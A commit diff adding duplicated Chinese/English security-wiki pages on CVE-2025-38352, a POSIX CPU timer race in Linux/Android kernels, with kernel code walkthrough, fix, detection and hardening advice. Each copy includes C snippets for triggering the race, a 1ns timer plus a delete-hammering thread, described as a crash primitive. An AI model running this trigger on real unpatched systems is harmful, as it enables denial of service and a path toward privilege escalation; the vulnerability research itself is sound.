Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu

src/SUMMARY.md

@@ -937,3 +937,5 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
+
+  - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)

src/binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md

@@ -0,0 +1,195 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+本页面记录了 Linux/Android 上 POSIX CPU timers 中的 TOCTOU 竞态条件，该竞态可能破坏定时器状态并导致内核崩溃，在某些情况下可以被引导为权限提升。
+
+- Affected component: kernel/time/posix-cpu-timers.c
+- Primitive: 任务退出期间的 expiry vs deletion 竞态
+- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+快速内部回顾（与利用相关）
+- 有三种 CPU 时钟通过 cpu_clock_sample() 驱动定时器的计账：
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: utime only
+- CPUCLOCK_SCHED: task_sched_runtime()
+- 创建定时器时会将定时器绑定到 task/pid 并初始化 timerqueue 节点：
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Arming 会将项插入到 per-base timerqueue，并可能更新 next-expiry cache:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- Fast path 避免昂贵的处理，除非缓存的到期项表明可能触发：
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- 过期处理会收集已到期的计时器，将它们标记为正在触发并从队列中移出；实际投递被延迟：
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+两种到期处理模式
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: 到期通过目标 task 上的 task_work 延后处理
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: 到期在 IRQ 上下文中直接处理
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+在 IRQ-context 路径中，firing list 在 sighand 之外被处理。
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
+前提条件
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- 目标任务正在退出但尚未被完全回收
+- 另一个线程同时为相同的计时器调用 posix_cpu_timer_del()
+
+Sequence
+1) update_process_times() 在 IRQ 上下文中为正在退出的任务触发 run_posix_cpu_timers()。
+2) collect_timerqueue() 将 ctmr->firing = 1 并将计时器移动到临时 firing 列表。
+3) handle_posix_cpu_timers() 通过 unlock_task_sighand() 释放 sighand，以便在锁外交付计时器。
+4) 在 unlock 之后立即，正在退出的任务可能被回收；一个兄弟线程执行 posix_cpu_timer_del()。
+5) 在此时间窗口内，posix_cpu_timer_del() 可能无法通过 cpu_timer_task_rcu()/lock_task_sighand() 获取 state，从而跳过检查 timer->it.cpu.firing 的正常 in-flight 保护。删除会像计时器未正在触发一样继续，导致在处理 expiry 时损坏状态，进而导致崩溃/UB。
+
+Why TASK_WORK mode is safe by design
+- 当 CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y 时，expiry 被延迟到 task_work；exit_task_work 在 exit_notify 之前运行，因此不会发生与回收重叠的 IRQ-time 情况。
+- 即便如此，如果任务已经在退出，task_work_add() 会失败；对 exit_state 进行门控使两种模式保持一致。
+
+Fix (Android common kernel) and rationale
+- 加入早期返回，如果 current task 正在退出，则对所有处理进行门控：
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- 这阻止了正在退出的任务进入 handle_posix_cpu_timers()，从而消除了 posix_cpu_timer_del() 可能错过 it.cpu.firing 并与到期处理发生竞态的时间窗口。
+
+影响
+- 在并发到期/删除期间对计时器结构的内核内存破坏可能导致立即崩溃（DoS），并且由于可对内核状态进行任意操作的机会，成为通向权限提升的强大原语。
+
+触发该漏洞（安全、可重现的条件）
+构建/配置
+- 确保 CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n，并使用未包含 exit_state gating 修复的内核。
+
+运行时策略
+- 针对即将退出的线程并向其附加一个 CPU 计时器（每线程或全进程时钟）：
+- 对于每线程: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- 对于进程范围: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- 使用非常短的初始过期时间和较小的间隔来最大化 IRQ-path 进入：
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- 从一个兄弟线程，在目标线程退出的同时并发删除相同的计时器：
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. 崩溃通常在 posix_cpu_timer_del() 在 unlock_task_sighand() 之后因任务查找/加锁失败而跳过检测 firing 时触发。
+
+检测与加固
+- Mitigation: apply the exit_state guard；在可行时优先启用 CONFIG_POSIX_CPU_TIMERS_TASK_WORK。
+- Observability: 在 unlock_task_sighand()/posix_cpu_timer_del() 周围添加 tracepoints/WARN_ONCE；当 it.cpu.firing==1 与 cpu_timer_task_rcu()/lock_task_sighand() 失败同时出现时发出告警；关注任务退出时的 timerqueue 不一致性。
+
+Audit hotspots (for reviewers)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): sets ctmr->firing and moves nodes
+- handle_posix_cpu_timers(): drops sighand before firing loop
+- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry；当任务在退出/回收期间查找/加锁失败时，此检查会被跳过
+
+针对漏洞利用研究的说明
+- 披露的行为是一个可靠的内核崩溃原语；将其转为提权通常需要额外可控的重叠（对象生命周期或 write-what-where 等影响），超出本摘要范围。将任何 PoC 视为可能导致不稳定，且仅在仿真器/VMs 中运行。
+
+## References
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md

@@ -0,0 +1,195 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+本页记录了 Linux/Android 中 POSIX CPU timers 的一个 TOCTOU 竞态条件，该问题可破坏定时器状态并导致内核崩溃，在某些情况下可被利用实现 privilege escalation。
+
+- 受影响的组件: kernel/time/posix-cpu-timers.c
+- 原语: 任务退出时的到期（expiry）与删除（deletion）竞态
+- 配置敏感: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+快速内部回顾（与利用相关）
+- 三个 CPU 时钟通过 cpu_clock_sample() 驱动定时器的计账：
+- CPUCLOCK_PROF: utime + stime
+- CPUCLOCK_VIRT: utime only
+- CPUCLOCK_SCHED: task_sched_runtime()
+- 创建定时器时会将定时器关联到 task/pid 并初始化 timerqueue 节点：
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+struct pid *pid;
+rcu_read_lock();
+pid = pid_for_clock(new_timer->it_clock, false);
+if (!pid) { rcu_read_unlock(); return -EINVAL; }
+new_timer->kclock = &clock_posix_cpu;
+timerqueue_init(&new_timer->it.cpu.node);
+new_timer->it.cpu.pid = get_pid(pid);
+rcu_read_unlock();
+return 0;
+}
+```
+- Arming 会将条目插入 per-base timerqueue，并可能更新 next-expiry cache:
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+struct posix_cputimer_base *base = timer_base(timer, p);
+struct cpu_timer *ctmr = &timer->it.cpu;
+u64 newexp = cpu_timer_getexpires(ctmr);
+if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+- 快速路径避免昂贵的处理，除非缓存的到期时间表明可能触发：
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+struct posix_cputimers *pct = &tsk->posix_cputimers;
+if (!expiry_cache_is_inactive(pct)) {
+u64 samples[CPUCLOCK_MAX];
+task_sample_cputime(tsk, samples);
+if (task_cputimers_expired(samples, pct))
+return true;
+}
+return false;
+}
+```
+- 过期处理会收集已过期的 timers，将它们标记为正在触发，并将它们移出队列；实际交付被延后：
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+struct list_head *firing, u64 now) {
+struct timerqueue_node *next; int i = 0;
+while ((next = timerqueue_getnext(head))) {
+struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+u64 expires = cpu_timer_getexpires(ctmr);
+if (++i == MAX_COLLECTED || now < expires) return expires;
+ctmr->firing = 1;                           // critical state
+rcu_assign_pointer(ctmr->handling, current);
+cpu_timer_dequeue(ctmr);
+list_add_tail(&ctmr->elist, firing);
+}
+return U64_MAX;
+}
+```
+两种到期处理模式
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: 到期通过 task_work 在目标任务上被延迟处理
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: 到期在 IRQ 上下文中直接处理
+```c
+void run_posix_cpu_timers(void) {
+struct task_struct *tsk = current;
+__run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+tsk->posix_cputimers_work.scheduled = true;
+task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+lockdep_posixtimer_enter();
+handle_posix_cpu_timers(tsk);                  // IRQ-context path
+lockdep_posixtimer_exit();
+}
+#endif
+```
+在 IRQ-context 路径中，firing list 在 sighand 之外被处理。
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+struct k_itimer *timer, *next; unsigned long flags, start;
+LIST_HEAD(firing);
+if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+do {
+start = READ_ONCE(jiffies); barrier();
+check_thread_timers(tsk, &firing);
+check_process_timers(tsk, &firing);
+} while (!posix_cpu_timers_enable_work(tsk, start));
+unlock_task_sighand(tsk, &flags);              // race window opens here
+list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+int cpu_firing;
+spin_lock(&timer->it_lock);
+list_del_init(&timer->it.cpu.elist);
+cpu_firing = timer->it.cpu.firing;         // read then reset
+timer->it.cpu.firing = 0;
+if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+rcu_assign_pointer(timer->it.cpu.handling, NULL);
+spin_unlock(&timer->it_lock);
+}
+}
+```
+Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
+Preconditions
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- The target task is exiting but not fully reaped
+- Another thread concurrently calls posix_cpu_timer_del() for the same timer
+
+Sequence
+1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
+2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
+3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
+4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
+5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
+
+Why TASK_WORK mode is safe by design
+- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
+- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
+
+Fix (Android common kernel) and rationale
+- Add an early return if current task is exiting, gating all processing:
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+return;
+```
+- 这阻止了正在退出的任务进入 handle_posix_cpu_timers()，从而消除了 posix_cpu_timer_del() 可能错过 it.cpu.firing 并与到期处理产生竞争的时间窗口。
+
+Impact
+- 在并发到期/删除期间 timer 结构的内核内存破坏可能导致立即崩溃（DoS），并且由于可对任意内核状态进行操纵，成为通向权限提升的强大原语。
+
+Triggering the bug (safe, reproducible conditions)
+Build/config
+- 确保 CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n 并使用未包含 exit_state gating 修复的内核。
+
+Runtime strategy
+- 针对即将退出的线程并向其附加一个 CPU timer（每线程或进程范围的时钟）：
+- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- 以非常短的初始到期时间和很小的间隔上膛，以最大化 IRQ-path 的进入次数：
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+struct sigevent sev = {0};
+sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+sev.sigev_signo = SIGUSR1;
+if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+struct itimerspec its = {0};
+its.it_value.tv_nsec = 1;           // fire ASAP
+its.it_interval.tv_nsec = 1;        // re-fire
+if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+- 从一个兄弟线程，在目标线程退出的同时并发删除同一个 timer：
+```c
+void *deleter(void *arg) {
+for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+- Race amplifiers: 高调度器时钟频率、CPU 负载、重复的线程退出/重建循环。崩溃通常在 posix_cpu_timer_del() 在 unlock_task_sighand() 之后因任务查找/加锁失败而跳过检测 firing 时出现。
+
+检测与加固
+- 缓解: 应用 exit_state guard；在可行时优先启用 CONFIG_POSIX_CPU_TIMERS_TASK_WORK。
+- 可观测性: 在 unlock_task_sighand()/posix_cpu_timer_del() 周围添加 tracepoints/WARN_ONCE；当观察到 it.cpu.firing==1 且 cpu_timer_task_rcu()/lock_task_sighand() 失败时发出警报；监视任务退出时的 timerqueue 不一致性。
+
+审计热点（供审阅者）
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() 选择 (TASK_WORK vs IRQ path)
+- collect_timerqueue(): 设置 ctmr->firing 并移动节点
+- handle_posix_cpu_timers(): 在触发循环之前释放 sighand
+- posix_cpu_timer_del(): 依赖 it.cpu.firing 来检测正在进行的到期；当在退出/回收期间任务查找/加锁失败时，此检查会被跳过
+
+利用研究注意事项
+- 公开的行为是一个可靠的内核崩溃原语；将其转化为 privilege escalation 通常需要额外可控的重叠（object lifetime 或 write-what-where 影响），超出本摘要范围。将任何 PoC 视为可能导致不稳定，仅在模拟器/VMs 中运行。
+
+## 参考资料
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}